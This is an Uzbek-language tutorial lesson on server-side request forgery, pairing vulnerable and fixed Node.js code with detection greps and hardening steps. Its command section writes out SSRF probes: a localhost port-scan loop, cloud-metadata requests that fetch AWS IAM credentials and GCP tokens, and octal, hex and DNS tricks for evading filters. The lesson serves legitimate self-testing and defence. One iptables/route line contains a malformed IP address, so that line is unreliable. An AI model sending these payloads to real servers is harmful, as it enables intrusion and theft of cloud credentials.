SSRF — server orqali so'rov

≡ Barcha darslar
Tezkor 🔎 Indeks
🌐

SSRF — server orqali so'rov

Ichki tarmoqqa kirish
Dars 06 Yuqori o'z saytingizda
1

Maqsad

Hujumchi serverga o'z nomidan so'rov yuborishga majburlaydi. Server ichki tarmoqqa kiradi — bu tarmoq internetga ochiq emas.

NishonOqibat
169.254.169.254 (bulut metadata)Kalitlarning o'g'rilishi
127.0.0.1:6379Redis'ga kirish
127.0.0.1:9200Elasticsearch — fayl o'qish
10.0.0.xIchki admin panel
2

Tushuntirish

// XAVFLI
const r = await fetch(req.query.url);          // hujumchi halqasiga
res.json({ data: await r.text() });

// TO'G'RI
const ALLOW = ['https://api.example.com'];
const u = new URL(req.query.url);
if (!ALLOW.includes(u.origin)) return fail();
const r = await fetch(u);
Bulut metadata — eng katta xavf

AWS, GCP, Azure, DigitalOcean — hammasida 169.254.169.254 orqali kalitlar beriladi. SSRF orqali butun bulut hisobingizni o'g'rish mumkin.

3

Qanday aniqlanadi

# 1) kodda serverdan chiqadigan so'rovlar
grep -rnE "fetch\(|axios|http\.get|requests\.|urlopen|urllib" src/ | grep -v node_modules

# 2) foydalanuvchi URL'i ichkariga o'tadimi?
grep -rnE "(fetch|axios|get)\(.*(req\.query|req\.body|params)" src/

# 3) webhook / preview / import funksiyalari
grep -rniE "webhook|preview|import|fetch.?url|callback.?url|image.?url" src/ | head
4

Buyruqlar

# 1) localhost — server o'zini ko'rsatadi
curl -s "https://site.uz/api/fetch?url=http://127.0.0.1/"
curl -s "https://site.uz/api/fetch?url=http://localhost:22/"

# 2) ichki portlar
for P in 6379 3306 5432 9200 8080 8000 11211 27017; do
  R=$(curl -s -m 4 "https://site.uz/api/fetch?url=http://127.0.0.1:$P/")
  [ -n "$R" ] && echo "  127.0.0.1:$P → ochiq! $(echo $R | head -c 50)"
done

# 3) bulut metadata (ENG MUHIM)
curl -s "https://site.uz/api/fetch?url=http://169.254.169.254/latest/meta-data/"
curl -s "https://site.uz/api/fetch?url=http://169.254.169.254/latest/user-data/"
curl -s "https://site.uz/api/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"

# 4) GCP metadata
curl -s "https://site.uz/api/fetch?url=http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token"   -H "Metadata-Flavor: Google"

# 5) DNS orqali IP o'zgartirish (filtrni chidamli qilish)
curl -s "https://site.uz/api/fetch?url=http://127.0.0.1.nip.io/"
curl -s "https://site.uz/api/fetch?url=http://0177.0.0.1/"        # oktal
curl -s "https://site.uz/api/fetch?url=http://0x7f000001/"         # hex
5

Natija

✓ MUvaffaqiyat — hujum ISHLADI
Server javobiNima degani
Ichki port javobi keldi (Redis/ES/MySQL banner)**SSRF tasdiqlandi**
`169.254.169.254` metadatası**Bulut kaliti ochiq — jiddiy**
`instance-role` / `AccessKeyId` chiqdi**AWS kaliti sizib chiqdi**
Yangi IP 200 qaytardi (2000-01-01)**Blind SSRF**
✗ Rad etish — hujum ISHLAMADI
Server javobiNima degani
`403 / not allowed` xabariOq ro'yxat ishlayapti
`ECONNREFUSED`Port yopiq — bu SSNI emas, oddiy xato
Hech narsa qaytarmadiBlind SSRF ehtimoli (DNS orqali tekshirish kerak)
Faqat `https://` ruxsat etilgan**Yaxshi** — protokol ham tekshiriladi
6

Zararni yopish

1. Oq ro'yxat — to'g'ri yechim

const ALLOW = new Set(['https://api.meeshar.uz', 'https://cdn.meeshar.uz']);
const u = new URL(req.query.url);
if (u.protocol !== 'https:') return fail();
if (!ALLOW.has(u.origin)) return fail();      // substring emas, aynan

2. DNS orqali o'tishni to'xtatish

const dns = require('dns');
const ip = await new Promise((res, rej) =>
  dns.lookup(u.hostname, (e, a) => e ? rej(e) : res(a)));

const BLOCK = ['127.', '10.', '192.168.', '172.16.', '169.254.', '0.0.0.0', '::1'];
if (BLOCK.some(b => ip.startsWith(b))) return fail();
if (isPrivate(ip)) return fail();   // IPv6 uchun ham

3. Tarmoq darajasida

# metadata'ga tarmoq yo'lini taqiqlash (butun server uchun)
sudo iptables -A OUTPUT -d 169.254.169.254 -j DROP
sudo ip route add blackhole 169.254.254.169.254

# Docker da
--network="none"  # yoki
--add-host="metadata.google.internal:127.0.0.1"

4. Qo'shimcha

  • Javob hajmini chegilang (10 KB dan katta qaytarmasin)
  • Redirect'larni ham tekshiring (birinchi ruxsat, ikkinchisi boshqa domen)
  • Faqat kerakli metodlarni ruxsat bering (faqat GET)
7

Tekshirish ro'yxati

  • Faqat oq ro'yxatdagi domenlar ruxsat etilgan
  • `127.0.0.1`, `10.x`, `192.168.x`, `169.254.x` bloklangan
  • DNS resolve'dan keyin IP tekshiriladi
  • `file://`, `gopher://`, `dict://` rad etiladi
  • Redirect kuzatiladi (ichki domenga olib bormaydi)
  • Metadata IP tarmoq darajasida yopilgan
  • `169.254.169.254` bilan test qilindi